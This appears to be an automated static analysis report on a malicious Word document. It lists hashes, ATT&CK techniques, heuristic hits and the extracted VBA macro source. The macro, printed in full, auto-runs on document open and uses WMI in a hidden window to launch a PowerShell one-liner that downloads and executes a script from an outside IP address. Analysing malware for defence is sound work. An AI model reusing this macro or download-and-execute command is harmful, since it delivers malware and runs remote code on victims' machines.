Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6eed2ecc032733a8…

MALICIOUS

Office (OLE)

30.5 KB Created: 2017-11-11 14:31:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 05d44764af46ac68322fb1ba9937114e SHA-1: 57ff7dfed90210859f9ee5ddc5d76f2262afa6dd SHA-256: 6eed2ecc032733a85adc80cddf933f7f8f3c0e5cc2ec60a37de613fe13fd776a
478 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros that are triggered by AutoOpen and Document_Open events. These macros construct and execute a command that downloads a PowerShell script from the URL http://128.199.40.116/FGTGBRDFK/120555005786/payload1.ps1 and then invokes it. This indicates a downloader functionality, likely intended to fetch and execute a second-stage payload.

Heuristics 14

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Str = "cmd.exe /c powershell.exe -c $c=new-object system.net.WebClient;$x=$c.downloadstring('http://128.199.40.116/FGTGBRDFK/120555005786/payload1.ps1');invoke-expression $x"
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
        strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        Str = "cmd.exe /c powershell.exe -c $c=new-object system.net.WebClient;$x=$c.downloadstring('http://128.199.40.116/FGTGBRDFK/120555005786/payload1.ps1');invoke-expression $x"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Debugging
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
    Debugging
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://128.199.40.116/FGTGBRDFK/120555005786/payload1.ps1 In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1108 bytes
SHA-256: 36dfb343caee39d9a5704f31e1d0b83daa8a7096ad27bc546a09e9e4eda25077
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Debugging
End Sub

Sub Document_Open()
    Debugging
End Sub

Public Function Debugging() As Variant
    Dim Str As String
    
    Str = "cmd.exe /c powershell.exe -c $c=new-object system.net.WebClient;$x=$c.downloadstring('http://128.199.40.116/FGTGBRDFK/120555005786/payload1.ps1');invoke-expression $x"

    Const HIDDEN_WINDOW = 0
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    objProcess.Create Str, Null, objConfig, intProcessID
End Function

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